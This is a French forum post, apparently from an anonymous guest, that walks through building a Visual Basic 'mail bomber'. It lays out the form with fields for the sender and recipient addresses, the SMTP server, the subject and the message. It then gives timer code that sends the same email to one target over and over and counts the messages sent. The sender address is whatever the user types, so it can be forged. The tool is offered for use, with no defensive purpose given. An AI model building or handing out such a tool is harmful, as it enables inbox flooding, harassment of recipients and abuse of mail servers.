Créer un MailBomBer [VB] [Anonyme]

Invité

Pour le créer il vous faut
- 6 Labels
- 2 Boutons
- 5 Textbox
- 2 Timer

Dans une Label mettez Adresse de L'expéditeur, la deuxième : Adresse du Destinataire, la troisième SMTP, la quatrième : Sujet et la 5ème Message, dans la sixième vous mettez un 0.
Vous pouvez modifier comme bon vous semble le texte hein :p

Puis nommer les boutons comme vous le voulez Start Et Stop.
Placez les Textbox à coté des Labels.
Maintenant les codes

Timer1 :

Code:: Dim MyMailMessage As New MailMessage()

MyMailMessage.From = New MailAddress(TextBox2.Text)

MyMailMessage.To.Add(TextBox4.Text)

MyMailMessage.Subject = TextBox5.Text
MyMailMessage.Body = (Me.TextBox1.Text)

Dim SMTPServer As New SmtpClient(TextBox3.Text)

Try
SMTPServer.Send(MyMailMessage)

Catch ex As SmtpException
Timer1.Enabled = False
Timer2.Enabled = False
MessageBox.Show("SMTP Error")
End Try

Timer 2 :

Code:: Label6.Text = Label6.Text + 1

Bouton Start :

Code:: Timer1.Enabled = True
Timer2.Enabled = True

Bonton Stop :

Code:: Timer1.Enabled = False
Timer2.Enabled = False